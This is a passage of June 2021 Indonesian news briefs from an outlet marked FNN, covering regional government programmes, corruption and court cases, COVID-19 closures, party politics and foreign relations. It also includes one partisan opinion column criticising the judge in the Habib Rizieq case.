2021 dan diikuti sebanyak 30 tenant UMKM dan properti. (mth)

Disnakan Magetan Lakukan Evaluasi Target "Sikomandan"

Magetan, FNN - Dinas Peternakan dan Perikanan Kabupaten Magetan melakukan evaluasi target Sapi dan Kerbau Komoditas Andalan Negeri atau "Sikomandan" di wilayah setempat dalam rangka meningkatkan populasi ternak sapi dan kerbau menuju swasembada daging nasional. Kepala Disnakan Kabupaten Magetan drh Nur Haryani mengatakan terdapat serangkaian kegiatan dalam evaluasi Sikomandan. Yakni terdiri dari pelaksanaan Inseminasi Buatan (IB) atau kawin suntik, pemeriksaan kebuntingan (PKB), dan pelaporan kelahiran. "Program ini gratis, sarana dan prasarana sudah dicukupi pemerintah. Jadi peternak tidak perlu khawatir karena tidak akan dipungut biaya," ujar Nur Haryani di Magetan, Jumat. Adapun kegiatan evaluasi Sikomandan yang saat ini dilakukan adalah pemeriksaan kebuntingan (PKB) massal di Kecamatan Lembeyan dan Kecamatan Bendo. Kegiatan dilaksanakan sejak tanggal 3 Juni sampai dengan 13 Juli 2021. Kecamatan Lembeyan dan Bendo dipilih karena merupakan daerah dengan populasi sapi betina yang banyak. Sesuai data, di Kecamatan Lembeyan populasi sapi betina terbanyak ada di Desa Kediren, Lembeyan Wetan, dan Tunggur. Sedangkan di Kecamatan Bendo di Desa Setren, Belotan, dan Carikan. Pemeriksaan kebuntingan Sikomandan dilaksanakan dengan melibatkan 40 Petugas yang sudah mempunyai sertifikat kompetensi dengan didampingi oleh enam dokter hewan. Berdasarkan data sampai dengan tanggal 24 Juni 2021, dari target 8.551 ekor sapi betina di Kecamatan Lembeyan, sebanyak 64 persen telah bunting. Kebuntingan itu merupakan hasil IB yang dilakukan oleh petugas. "Data ini akan terus bertambah karena saat ini kami sedang melakukan PKB di wilayah Kecamatan Bendo," katanya. Nur menambahkan, Sikomandan merupakan kegiatan lanjutan dari program Upaya Khusus Sapi dan Kerbau Wajib Bunting atau " Upsus Siwab" yang bertujuan untuk meningkatkan populasi ternak sapi dan kerbau dalam negeri untuk menuju swasembada daging nasional. Pemeriksaan kebuntingan sebagai bagian dari kegiatan Sikomandan rencananya akan rutin dilakukan demi mengetahui status kebuntingan ternak di berbagai wilayah di Kabupaten Magetan. Peternak yang ingin mengetahui status ternaknya bunting atau tidak, bisa langsung menghubungi petugas terdekat. Nur berharap dengan kegiatan ini populasi ternak sapi di Kabupaten Magetan bertambah dan membawa kesejahteraan masyarakat khususnya peternak. (mth)

IPB University Gelar Sosialisasi Kelas Internasional Prodi ITK

Jakarta, FNN – IPB University menggelar sosialisasi virtual Program Studi (Prodi) Ilmu dan Teknologi Kelautan Kelas Internasional, Departemen Ilmu dan Teknologi Kelautan (ITK), Fakultas Perikanan dan Ilmu Kelautan (FPIK), untuk mendorong semakin banyaknya ahli ilmu kelautan. "Prodi ITK berdiri sejak 1986. Kelas Internasional untuk prodi ini telah dibuka sejak tahun lalu," Koordinator Program Internasional Departemen ITK Riza Aitiando Pasaribu, menurut keterangan resmi IPB University diterima di Jakarta, Jumat. Ada empat divisi di Departemen ini yaitu Divisi Oseanografi, Divisi Hidrobiologi, Divisi Akustik dan Instrumentasi Kelautan, serta Divisi Penginderaan Jauh dan SIG (Sistem Informasi Geografis) Kelautan. Menurut Riza, untuk masuk ke kelas reguler menggunakan jalur seperti umumnya sedangkan jalur masuk kelas internasional terbagi menjadi dua gelombang. Pendaftaran gelombang II melalui Ujian Tulis Mandiri Berbasis Komputer (UTM-BK) dimulai pada tanggal 20 Juni mendatang. Dia menjelaskan bahwa Kelas Internasional Prodi ITK menggunakan kurikulum baru sesuai kebijakan Kampus Merdeka sehingga lebih fleksibel. Mahasiswa pada tingkat pertama mengikuti Program Pendidikan Kompetensi Umum (PPKU). Mahasiswa kelas internasional mendapatkan fasilitas yang berbeda yaitu riset, studi lapangan, summer course dan winter course ke luar negeri. Prodi itu juga bermitra dengan berbagai universitas di luar negeri seperti University of Taiwan dan University Wellington di Selandia Baru. Dalam waktu dekat Prodi ITK akan bekerja sama dengan berbagai universitas di Eropa. "Kondisi kelautan di luar negeri berbeda dengan parameter yang beda sehingga menambah wawasan baru," ujarnya menambahkan kalau Prodi ITK sedang mempersiapkan sertifikat pendamping seperti sertifikat kompetensi bagi lulusan kelas internasional. Selain bidang akademik, Himpunan Ilmu Teknologi dan Kelautan (Himiteka) juga bekerjasama dengan mahasiswa di universitas luar negeri dalam membuat acara bersama untuk membangun relasi internasional. "Laut adalah masa depan Indonesia untuk generasi mendatang. Lulusan kami diharapkan dapat memanfaatkan potensi laut secara maksimal. Kami tunggu kedatangan kalian para calon mahasiswa," demikian Riza. (mth)

Kerugian Negara Akibat Kasus Korupsi Beasiswa Aceh Capai Rp10 miliar

Banda Aceh, FNN - Kerugian negara dari kasus dugaan tindak pidana korupsi beasiswa Aceh mencapai Rp10 miliar lebih, hal itu berdasarkan hasil audit yang telah dilakukan Badan Pengawasan Keuangan dan Pembangunan (BPKP) Perwakilan Aceh. "Fakta yang kita dapatkan dari bukti-bukti yang kita punyai, itu (kerugian) lebih dari Rp 10 miliar, dari anggaran Rp21 miliar lebih," kata Kepala BPKP Perwakilan Aceh Indra Khaira Jaya, di Banda Aceh, Jumat. Sebelumnya, Pemerintah Aceh pada 2017 mengalokasikan anggaran Rp 21,7 miliar lebih untuk beasiswa mahasiswa program studi mulai diploma tiga hingga doktoral atau S3. Anggaran beasiswa itu ditempatkan di Badan Pengembangan Sumber Daya Manusia (BPSMD) Aceh. Beasiswa tersebut disalurkan kepada 803 penerima dengan realisasi mencapai Rp19,8 miliar lebih. Indra mengatakan hasil audit BPKP tersebut akan segera diserahkan ke Polda Aceh pekan depan, hal itu karena masih ada lampiran inti yang harus ditandatangani semua tim yang melakukan audit. "Kebetulan ini permasalahan teknis saja, kalau sudah diteken, Senin, sudah bisa diserahkan ke Polda Aceh," ujarnya. Indra menambahkan, hasil audit BPKP tersebut dilakukan untuk membantu tim penyidik dalam proses penegakan hukum, dimulai dari penyelidikan, penyidikan hingga ke penuntutan di pengadilan. Dalam kasus ini, hasil temuan Inspektorat Aceh menyebutkan bahwa beasiswa tersebut berasal dari usulan 24 anggota DPR Aceh. Jumlah penerima mencapai 938 mahasiswa, terdiri 825 penerima usulan Anggota DPR Aceh dan 86 orang permohonan secara mandiri. Penyidik Direktorat Reserse Kriminal Khusus Polda Aceh telah memanggil dan memeriksa enam anggota DPR Aceh terkait pengusutan dugaan tindak pidana korupsi beasiswa tersebut. Adapun enam anggota DPRA yang dipanggil untuk memberikan keterangan tersebut yakni AA, AS, HY, IU, YH, dan Z. Sejauh ini, penyidik Ditreskrimsus Polda Aceh sudah memintai keterangan pada 400-an mahasiswa dari 800 penerima bantuan dana pendidikan tersebut. (mth)

Demokrat Sesalkan Langkah Kubu Moeldoko Gugat Putusan Menkumham

Jakarta, FNN - Dewan Pimpinan Pusat (DPP) Partai Demokrat menyesalkan langkah kelompok kongres luar biasa (KLB) pimpinan Kepala Staf Kepresidenan (KSP) Jenderal TNI (Purn) Moeldoko menggugat putusan Menteri Hukum dan Hak Asasi Manusia (Menkumham) Yasonna Laoly ke Pengadilan Tata Usaha Negara (PTUN). Kepala Badan Komunikasi Strategis DPP Partai Demokrat Herzaky Mahendra Putra melalui keterangan tertulisnya yang diterima di Jakarta, Jumat, menyebut gugatan itu tidak menghormati hukum dan putusan Pemerintah serta mengganggu upaya penanggulangan pandemi COVID-19. “Kementerian Hukum dan HAM sudah melaksanakan tugasnya sesuai aturan, tetapi malah digugat oleh KSP Moeldoko. Kami yakin Majelis Hakim PTUN yang mengadili perkara ini akan menegakkan keadilan sesuai perundang-undangan yang berlaku demi kepastian hukum,” ujar Herzaky. Pimpinan kelompok KLB, Moeldoko bersama Jhoni Allen Marboen melalui tim kuasa hukumnya mendaftarkan gugatan ke PTUN pada Jumat. Gugatan itu yang terdaftar dengan Nomor 150/G/2021/PTUN.JKT antara lain meminta majelis hakim membatalkan dan mencabut Surat Menteri Hukum dan Hak Asasi Manusia Nomor : M. HH.UM.01.10-47, tentang Jawaban Permohonan atas Pendaftaran Perubahan AD/ART dan Perubahan Susunan Kepengurusan DPP Partai Demokrat Periode 2021-2025. Kubu KLB juga meminta majelis hakim memerintahkan Menkumham Yasonna Laoly mengesahkan permohonan kelompok KLB, yaitu perubahan struktur kepengurusan Partai Demokrat dan Anggaran Dasar/Anggaran Rumah Tangga (AD/ART) partai. Menteri Hukum dan HAM Yasonna Laoly, didampingi oleh Menteri Koordinator Bidang Politik, Hukum, dan Keamanan Mahfud MD pada 31 Maret membacakan isi surat Nomor: M. HH.UM.01.10-47, yang pada intinya menolak permohonan kelompok KLB. Alasan penolakan antara lain kelompok KLB sebagai pemohon tidak dapat melengkapi dokumen dan memenuhi syarat sebagaimana diatur oleh Peraturan Menkumham RI No. 34 Tahun 2017. Karena itu, Herzaky menyebut langkah pihak KLB justru menunjukkan kelompok tersebut tidak patut. “Dengan menggugat Menkumham yang mengambil keputusan atas nama Pemerintah, KSP Moeldoko justru menunjukkan ketidakpatuhan pada hukum dan ketidakkompakan di antara para pembantu Presiden,” kata Herzaky. Menurut dia, gugatan itu hanya akan memecah fokus dan tanggung jawab Moeldoko sebagai KSP yang seharusnya membantu Pemerintah fokus menangani pandemi COVID-19. “Presiden Joko Widodo dan jajaran pemerintahan sedang fokus mengatasi memuncaknya gelombang kedua COVID-19 yang memecahkan rekor angka kematian sejak awal pandemi Maret 2020 lalu. Dalam kondisi genting ini, sepatutnya KSP Moeldoko juga fokus membantu Presiden,” ujar Herzaky. Sejauh ini, kubu KLB dan kuasa hukumnya atau Moeldoko dan Jhoni Allen Marbun belum dapat dihubungi untuk diminta tanggapan. (mth)

Jaksa Nyatakan Berkas "Unlawful Killing" Telah Lengkap

Jakarta, FNN - Tim Jaksa Peneliti Direktorat Tindak Pidana Orang dan Harta Benda, Jaksa Agung Muda Tindak Pidana Umum Kejaksaan Agung (JAMPidum Kejagung) menyatakan berkas perkara penembakan anggota laskar FPI di Tol Cikampek atau "unlawful killing" telah lengkap atau P.21. "Tim jaksa menyatakan bahwa berkas perkara dugaan tindak pembunuhan atas nama tersangka FR dan tersangka MYO sudah lengkap atau P. 21," kata Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejagung Leonard Eben Ezer Simanjuntak dalam keterangan tertulis-nya yang diterima di Jakarta, Jumat. Leonard menyebutkan, berkas perkara tindak pidana pembunuhan yang merupakan hasil penyidikan Tim Penyidik pada Badan Reserse Krimnal Kepolisan RI dinyatakan telah lengkap (P-21) setelah dilakukan gelar perkara atau ekspos yang dilaksanakan oleh Tim Jaksa Peneliti hari ini. "Dan berdasarkan penelitian tim, kelengkapan berkas perkara baik formal maupun materiil telah terpenuhi sehingga berkas perkara dapat dinyatakan lengkap (P.21)," ujarnya. Selanjutnya, kata Leonard, Tim Jaksa Penuntut Umum meminta kepada Tim Penyidik Bereskrim Polri untuk dapat segera menyerahkan tanggung jawab tersangka dan barang bukti atau Penyerahan Tahap II. "Penyerahan tahap II ini guna menentukan apakah perkara tersebut sudah memenuhi persyaratan untuk dapat dilimpahkan ke pengadilan," ujarnya. Berkas perkara "unlawful killing" atas dua tersangka anggota Polda Metro Jaya berinisial FR dan MYO. Keduanya disangka melanggar Pasal 338 KUHP jo. Pasal 56 KUHP. Komnas HAM pada 8 Januari 2021 telah melaporkan hasil penyelidikan terhadap kematian empat dari enam orang laskar Front Pembela Islam (FPI) yang berawal dari pembuntutan terhadap Rizieq Shihab pada 6-7 Desember 2020. Saat itu, anggota Polri mengikuti rombongan tokoh FPI itu bersama para pengawalnya dalam sembilan kendaraan roda empat bergerak dari Sentul ke Karawang. Hasil investigasi Komnas HAM menyimpulkan bahwa insiden penembakan empat dari enam laskar merupakan pelanggaran HAM. Menurut Komisioner Komnas HAM Mohammad Choirul Anam penembakan empat dari enam laskar merupakan "unlawful killing" sebab dilakukan tanpa upaya menghindari jatuhnya korban oleh aparat kepolisian. (mth)

Raja Jogja Putuskan Tutup Keraton

Yogyakarta, FNN - Raja Keraton Ngayogyakarta Hadiningrat Sri Sultan Hamengku Buwono X memutuskan untuk menutup sementara sejumlah destinasi wisata milik Keraton Yogyakarta menyusul tingginya kasus penularan COVID-19 di Daerah Istimewa Yogyakarta. "Penutupan wisata Keraton ini adalah salah satu upaya untuk menekan penambahan kasus COVID-19 di DIY," kata Penghageng Kawedanan Hageng Panitrapura Keraton Yogyakarta GKR Condrokirono melalui keterangan tertulis di Yogyakarta, Jumat. Menurut Condrokirono, penutupan sementara Wisata Keraton Yogyakarta berlangsung selama satu pekan mulai Sabtu (26/6) hingga Jumat (2/7). Lokasi wisata yang ditutup antara lain Museum Kereta Keraton , Kompleks Pagelaran , Keben/Kompleks Kedhaton (Museum Keraton) , Tamansari , serta Puralaya Imogiri dan Kotagede. Dikatakan GKR Condrokirono, penutupan tempat wisata milik Keraton Yogyakarta tersebut dilakukan atas "dhawuh dalem" atau titah dari Sri Sultan Hamengku Buwono X. "Penutupan ini dilakukan untuk menjaga kesehatan keluarga besar Karaton Ngayogyakarta Hadiningrat, Abdi Dalem, beserta warga masyarakat Yogyakarta dari COVID-19," ujar putri kedua Sultan HB X ini. Di samping itu, selama penutupan berlangsung, akan dilakukan pembersihan dan sterilisasi total pada lokasi-lokasi wisata milik keraton tersebut. Pembersihan lokasi-lokasi wisata, menurut dia, sejatinya tidak hanya dilakukan saat masa pandemi saja, melainkan saat situasi normal juga selalu secara berkala. "Setelah adanya pandemi, pembersihan dilakukan lebih intens dan terjadwal untuk meminimalisir penyebaran virus. Kita upayakan yang terbaik," kata dia. Ia juga senantiasa mengimbau agar masyarakat tetap menaati protokol kesehatan dengan memakai masker, menjaga jarak, mencuci tangan, menjauhi kerumunan, dan membatasi mobilitas. "Semoga kita semua senantiasa sadar dan tetap mawas diri," tutup Condrokirono. Pada Kamis (24/6), kasus konfirmasi COVID-19 di DIY bertambah 791 kasus sehingga secara kumulatif mencapai 55.463 kasus. Sementara kasus sembuh bertambah 258 kasus menjadi 46.644 kasus dan meninggal bertambah 11 kasus sehingga total kasus meninggal mencapai 1.422 kasus. (sws)

Hakim Khadwanto, antara Pengadilan Akhirat dan Pengadilan Rakyat

“Sampai berjumpa di Pengadilan Akhirat!” UCAPAN Habib Rizieq Syihab ketika menyalami Hakim Khadwanto saat ini tengah viral. Khadwanto adalah ketua majelis hakim yang menyidangkan kasus swab RS UMMI, Bogor di Pengadilan Negeri Jakarta Timur dengan terdakwa Habib Rizieq Syihab. Dia menjatuhkan vonis 4 tahun penjara, dari tuntutan Jaksa 6 tahun penjara. Setelah menolak vonis hakim, sekaligus menolak tawaran hakim agar minta pengampunan (grasi) kepada Presiden Jokowi, dan menyatakan banding, Habib Rizieq beranjak dari kursi terdakwa. Dia mendatangi keluarganya di kursi pengunjung, para penasihat hukum, dan kemudian menghampiri meja majelis hakim. Saat itu lah dia menyalami majelis hakim satu persatu. Menurut kesaksian salah seorang penasihat hukum, wajah hakim Khadwanto tampak pucat, mendengar ucapan Habib Rizieq. Vonis 4 tahun penjara bagi Habib Rizieq memang sangat mengejutkan. Bagaimana mungkin majelis hakim menerima mentah-mentah tuntutan Jaksa yang mendakwa Habib Rizieq menyebarkan kabar bohong dan berbuat keonaran. Hakim juga menerima begitu saja argumen Jaksa bahwa yang dimaksud dengan keonaran, termasuk kehebohan di media sosial, khususnya akun-akun youtube. Padahal kalau hakim mau sedikit saja melakukan verifikasi, akan dengan mudah diketahui, akun-akun youtube yang diajukan oleh Jaksa sebagai bukti, adalah akun penyebar hoax yang dikelola para buzzer. Bukan Habib Rizieq yang menyebabkan keonaran. Para buzzer lah yang mencoba menyebar keonaran. Publik setidaknya saat ini menyoroti tiga hal dari putusan majelis hakim yang dipimpin Khadwanto. Pertama, putusannya tidak memenuhi rasa keadilan masyarakat. Kedua, pernyataannya agar Habib Rizieq Syihab mengajukan pengampunan kepada Presiden Jokowi. Ketiga, konskuensi putusannya yang harus dia pertanggungjawabkan di pengadilan akhirat. Sangat mudah bagi siapapun yang mengamati persidangan, bahwa hakim mengabaikan fakta-fakta yang diajukan terdakwa dan pembela. Majelis hakim juga mengabaikan kesaksian dari para ahli. Dakwaan Jaksa sama sekali tidak memenuhi unsur pidana. Karena itu harusnya ditolak, dan Habib Rizieq dibebaskan. Hakim — khususnya Ketua Majelis Hakim— sangat terkesan dalam menyampaikan putusannya, dalam kondisi tertekan. Pernyataannya menyarankan Habib Rizieq Syihab meminta pengampunan, sangat tidak lazim. Benar, ketentuan grasi diatur dalam pasal 196 KUHAP sebagaimana halnya dengan proses banding. Namun grasi hanya bisa dilakukan manakala terdakwa menyatakan menerima putusan. Status hukumnya sudah berkekuatan hukum tetap (inkrach ). Sangat terkesan Khadwanto merasa tidak “nyaman” menjatuhkan vonis yang sangat berat dan tak masuk akal itu. Karena itu dia merasa perlu segera menyampaikan kepada Habib Rizieq bisa bebas dengan meminta pengampunan. Kendati diatur dalam KUHAP, ucapan Khadwanto itu bisa ditafsirkan memberi semacam signal kepada publik, bahwa kasus ini merupakan masalah personal antara Jokowi dan Habib Rizieq. Penolakan Habib Rizieq, keputusannya langsung banding tanpa pikir-pikir dulu, dan ucapannya “sampai berjumpa di pengadilan akhirat,” jelas akan menjadi beban batin yang sangat berat bagi Khadwanto dan anggota majelis hakim. Pengadilan akhirat, adalah pengadilan masa depan. Bagi orang yang beriman, sangat meyakini “pengadilan terakhir” itu akan tiba. Kita harus mempertanggungjawabkan semua amal perbuatan kita. Bila kita berbuat dzalim di dunia, pembalasannya akan jauh lebih berat di akhirat. Namun sebelum “pengadilan akhirat” itu tiba, Khadwanto saat ini sudah menghadapi pengadilan dunia, yakni pengadilan rakyat. Publik beramai-ramai menghujat dan melaknatnya. Publik mencatatnya sebagai hakim yang tidak adil, dan berbuat dzalim kepada seorang ulama, atas order kekuasaan. Sebagai hakim, dia tidak bisa memegang amanah untuk berbuat adil, tanpa pandang bulu. Tidak bisa memegang sumpahnya yang diucapkan di bawah Al Quran. “Demi Allah, saya bersumpah bahwa saya akan memenuhi kewajiban hakim dengan sebaik-baiknya dan seadil-adilnya.”

BKIPM: Penyelundupan Ikan dari Malaysia ke Nunukan Masih Berlangsung

Nunukan, FNN - Aktivitas penyelundupan produk perikanan dari Tawau, Malaysia ke Kabupaten Nunukan maupun Kota Tarakan, Kalimantan Utara (Kaltara) masih terus berlangsung dan terkesan sangat sulit dihentikan, meskipun saat ini masih dalam pandemi COVID-19. Kepala Balai Karantina Ikan dan Pengendalian Mutu (BKIPM) Tarakan Umar kepada wartawan usai FGD Sosialisasi Peraturan Perundang-undangan Karantina Ikan di Kabupaten Nunukan, Jumat, mengakui memang masih sering terjadi aktivitas penyelundupan ikan dari Tawau, Malaysia ke Kabupaten Nunukan. "Itu tidak bisa dipungkiri, meskipun Malaysia lockdown COVID-19," ujar Umar. Oleh karena itu, dia merasa heran atas masih lancarnya upaya penyelundupan ikan dari Malaysia tersebut yang seolah-olah berlangsung di depan mata. Menurutnya, BKIPM sendiri tidak bisa berbuat banyak dalam melakukan pencegahan, disebabkan banyak instansi lain yang perlu terlibat untuk memberantasnya. Umar mensinyalir upaya penyelundupan yang terus berlangsung (masuk) di Kabupaten Nunukan saat ini, karena adanya oknum-oknum yang bekerja sama dengan pelaku. "Kemungkinan ada cukong atau oknum-oknum yang membiarkan penyelundupan ini," ujar dia lagi. Ia mengakui aktivitas penyelundupan ikan atau komoditas perikanan lainnya ataupun hewan seakan-akan tidak bisa diberantas meskipun semua orang tahu kegiatan tersebut tidak memiliki izin dari instansi terkait. "Penyelundupan ikan dan produk perikanan maupun hewan masih berlangsung terus di Kabupaten Nunukan dan Tarakan, bahkan berlangsung di depan mata," kata dia pula. (mth)

DPD Apresiasi Bengkulu Masuk Program Reforma Agraria

Bengkulu, FNN - Anggota Dewan Perwakilan Daerah (DPD) RI Riri Damayanti mengapresiasi Kementerian Agraria dan Tata Ruang/Badan Pertanahan Nasional (ATR/BPN), yang memasukkan Provinsi Bengkulu ke dalam program reforma agraria. Riri meyakini jika program ini berjalan dengan baik maka dapat memacu pertumbuhan ekonomi dan pemerataan pembangunan yang akhirnya akan meningkatkan taraf hidup serta kesejahteraan masyarakat Bengkulu. "Ini kabar bagus karena semangatnya untuk mengejar pertumbuhan dan pemerataan. Dua hal ini memang jadi masalah utama di Bengkulu sejak sebelum pandemi sampai sekarang," kata Riri di Bengkulu, Jumat. Menurutnya, program reforma agraria ini akan membuat banyak lahan tidur di Bengkulu menjadi lebih produktif dan bisa dimanfaatkan masyarakat untuk keperluan pertanian, perkebunan, perikanan, peternakan, pariwisata, dan pengembangan infrastruktur. Selain itu, program ini dinilai menjadi salah satu solusi untuk membangkitkan perekonomian nasional di tengah dampak buruk yang ditimbulkan pandemi COVID-19. Di sisi lain, anggota DPD RI dari daerah pemilihan (dapil) Provinsi Bengkulu ini menekankan agar pemerintah daerah menguatkan peran penyuluh pertanian agar hasil dari lahan yang diberikan benar-benar bisa memberikan kesejahteraan. Riri juga meminta pemerintah melibatkan organisasi petani serta penggiat sosial dalam pengawasan program reforma agraria ini, agar tidak ada masyarakat yang kemudian menjual lahan yang telah diberikan. "Pastikan kalau lahan yang didapat petani bisa dimanfaatkan sebagai alat untuk sejahtera setelah mengolah tanah, bukan dengan diperjualbelikan demi nafsu konsumtif yang tidak seberapa," paparnya. Sebelumnya, Wakil Menteri ATR/BPN Surya Tjandra menerangkan Provinsi Bengkulu masuk dalam daftar prioritas pembangunan wilayah Sumatera pada program reforma agraria. Beberapa daerah yang ditunjuk yakni Kabupaten Rejang Lebong, Kabupaten Kepahiang, Kabupaten Bengkulu Tengah, Kota Bengkulu, Kabupaten Mukomuko, Kabupaten Bengkulu Utara, dan Kabupaten Bengkulu Selatan. Kementerian ATR/BPN berharap berbagai isu yang menjadi kendala dapat diselesaikan melalui kawasan andalan dalam rencana tata ruang wilayah (RTRW) nasional. Dengan demikian, suatu kawasan dikembangkan untuk mengurangi kesenjangan antardaerah melalui pengembangan kegiatan ekonom. (mth)

Plate: Pertemuan Sekjen Koalisi KIM Pertegas Dukungan pada Pemerintah

Jakarta, FNN - Sekretaris Jenderal (Sekjen) DPP Partai NasDem Johnny G. Plate menyebutkan pertemuan sekjen partai politik koalisi pemerintahan Jokowi-Ma'ruf atau Kabinet Indonesia Maju (KIM) pada Rabu (23/6) untuk mempertegas dukungan kepada pemerintah. "Diskusi ringan saja namun secara umum mempertegas dukungan kepada pemerintah menangani pandemi COVID-19," kata Plate ketika dikonfirmasi di Jakarta, Jumat. Selain itu, para sekjen yang hadir juga membahas mengenai isu-isu strategis lainnya terkait dengan perekonomian dan keuangan negara. "Kami juga membahas soal sejumlah rancangan undang-undang yang telah masuk dalam RUU Prolegnas Prioritas di DPR," kata Plate yang menjabat sebagai Menkominfo. Plate tak merespons ketika ditanyakan apakah pertemuan itu membahas soal Pilpres 2024 dan masa jabatan presiden tiga periode. Dia pun menjelaskan pertemuan itu dihadiri oleh Sekjen PDIP Hasto Kristiyanto, Sekjen PKB Hasanuddin Wahid, Sekjen Partai Bulan Bintang Afriansyah Noor, mantan Sekjen PSI Raja Juli Antoni, Sekjen Partai Perindo Ahmad Rofiq, dan mantan Sekjen PPP Arsul Sani. Sementara itu, Sekjen Partai Golkar Lodewijk Freidrich Paulus dan Sekjen Hanura Gede Pasek Suardika tidak dapat menghadiri pertemuan tersebut. Pertemuan yang berlangsung pada Rabu (23/6) malam itu, kata Plate, sambil menyantap makan malam dengan tetap melaksanakan prokes COVID-19 secara ketat. "Acaranya dinner meeting dalam suasana kekeluargaan koalisi," tuturnya. Dihubungi secara terpisah, mantan Sekjen PSI Raja Juli Antoni menambahkan bahwa pertemuan itu hanya silaturahmi yang lama tertunda. Ia menegaskan bahwa pertemuan itu tidak membahas agenda politik secara spesifik seperti soal Pilpres 2024 dan masa jabatan presiden tiga periode. "Kangen-kangenan saja plus mengikat komitmen bersama lagi agar partai-partai lebih serius mendukung Pak Jokowi dalam usaha bersama melawan wabah dan dampak ekonomi terhadap rakyat," kata pria yang biasa disapa Toni ini. (mth)

Maluku dan Jatim Jajaki Kerja Sama Investasi dan Perdagangan

Ambon, FNN - Pemerintah provinsi Maluku dan Jawa Timur (Jatim) mulai menjajaki kerja sama saling menguntungkan di bidang investasi dan perdagangan dalam jangka panjang. "Kerja sama ini digagas dengan tujuan utama mengentaskan kemiskinan di Maluku yang hingga saat ini masih tinggi," kata Wakil Gubernur Maluku, di Ambon, Jumat. Kerja sama dengan pemprov Jawa Timur tersebut mulai diarahkan dan disetujui oleh Gubernur Maluku Murad Ismail, mengingat provinsi tersebut selama ini menjadi salah satu daerah utama pasokan kebutuhan pokok untuk Maluku. Wagub menyatakan, pihaknya telah membicarakan berbagai peluang kerja sama yang akan dilaksanakan kedua belah pihak bersama Kadis Perindustrian dan Perdagangan (Disperindag) Jawa Timur Drajat Irawan pada Kamis (24/6). "Kami sudah bicarakan semuanya dengan tujuan akhir untuk menurunkan angka kemiskinan. Jika investasi dan perdagangan berjalan lancar pasti efeknya akan dirasakan oleh masyarakat," ujar Wagub. Kedua belah pihak dalam waktu dekat akan melakukan penandatanganan nota kesepakatan dan kesepahaman dalam waktu dekat, baik dalam skala jangka pendek, menengah maupun jangka panjang. "Dalam keja sama ini dari Maluku tidak hanya mengirimkan produk Jatim, tetapi mereka juga akan mengirimkan investornya ke Maluku untuk membantu pengembangan industri maupun usaha mikro, kecil dan menengah di daerah ini," katanya. Kadis Perindag Jawa Timur Drajat Irawan mengatakan, kedatangannya ke Ambon atas perintah Gubernur Jatim Khofifah Indar Parawansa untuk menjajaki peluang kerja sama yang akan dilakukan. "Pemprov Jatim berencana melakukan misi dagang dan investasi di Maluku pada 7 Juli 2021," katanya. Dia menegaskan sinergi yang dibangun antara kedua provinsi untuk memperkuat jaringan pasar sehingga neraca perdagangan tidak berbeda terlalu jauh. Selain itu, pasarnya diperluas dan investor Jatim tertarik dengan potensi yang ada di Maluku. "Saat ini produk-produk Jatim yang dikirim ke Maluku nilainya Rp2,14 triliun. Sedangkan barang Maluku yang dikirim ke Jatim baru mencapai Rp251 miliar," katanya. Drajat mengakui hampir semua potensi di Maluku saat ini menjadi komoditi unggulan dan ekspor Jatim. "Yang jadi masalah selama ini banyak produk dari luar jatim itu belum memiliki Standar Nasional Indonesia (SNI) sehingga tidak bisa masuk ke pasar global," ujarnya. Karena itu dengan kerja sama yang dilakukan, maka produk-produk yang dikirim dari Maluku akan diproses perijinan serta kemasan yang menarik, kemudian dipasarkan di pasar global. Dia mencontohkan, minyak kayu putih dari Maluku, ternyata hingga saat ini belum memiliki SNI, sehingga sulit dijual dan diterima di pasar ekspor. (mth)

Menlu Retno Minta Korea Selatan Lindungi ABK Indonesia

Jakarta, FNN - Menteri Luar Negeri RI Retno Marsudi meminta pemerintah Korea Selatan melindungi pekerja migran Indonesia yang bekerja sebagai anak buah kapal (ABK) di negara tersebut. Kemajuan dalam perlindungan tenaga kerja telah tercapai pada Mei 2021, dengan ditandatanganinya nota kesepahaman (MoU) di bidang hubungan kerja dan tenaga kerja bagi awak kapal perikanan yang bekerja di kapal ikan Korea Selatan untuk ukuran 20 ton ke atas. “Saya mendorong agar dapat segera dimulai pembahasan mengenai pengaturan dan pelindungan bagi ABK WNI yang bekerja di kapal-kapal long-line milik Korea Selatan,” kata Menlu Retno, saat menyampaikan pernyataan pers virtual bersama dengan Menlu Korea Selatan Chung Eui-yong di Jakarta, Jumat. Berdasarkan data pemerintah, tercatat 33.000 pekerja migran Indonesia berada di Korea Selatan, termasuk di antaranya 5.950 WNI ABK yang bekerja di kapal-kapal ikan Korea Selatan. Selanjutnya, Menlu Retno juga meminta perhatian Menlu Korea Selatan agar re-entry dan penempatan baru pekerja migran Indonesia di negara tersebut dapat segera dibuka. Menanggapi permintaan tersebut, Menlu Chung Eui-yong meyakinkan Indonesia bahwa negaranya akan melindungi awak kapal Indonesia yang bekerja di Korea Selatan. “Kedua negara akan terus bekerja sama secara erat agar awak kapal Indonesia bisa bekerja dengan kondisi yang aman dan bisa kembali ke Indonesia dengan selamat,” tutur Chung. Dalam pertemuan bilateral tersebut, kedua menlu membahas sejumlah kerja sama antara kedua negara meliputi bidang kesehatan, ekonomi, serta politik dan pertahanan. Kedua menlu juga menandatangani dua kesepakatan yaitu Plan of Action Implementasi Kemitraan Strategis Khusus untuk periode 2021-2025 yang diharapkan akan mendorong program-program konkret di berbagai sektor seta MoU on Triangular Cooperation yang menjadi dasar kontribusi bersama kedua negara dalam pembangunan di negara berkembang lainnya. Berdasarkan semangat kemitraan strategis khusus yang telah disepakati oleh para pemimpin RI dan Korea Selatan pada 2017, kedua menlu akan mengawal perkembangan kerja sama bilateral agar seluruh program kerja dapat diimplementasikan secara nyata. “Saya berharap kedua negara dapat melakukan kerja sama intensif berdasarkan kontribusi yang akan kita berikan,” ujar Menlu Chung. (sws)

Api Lahap Pusat Pelatihan Bela Diri di Tiongkok, Tewaskan 18 Orang

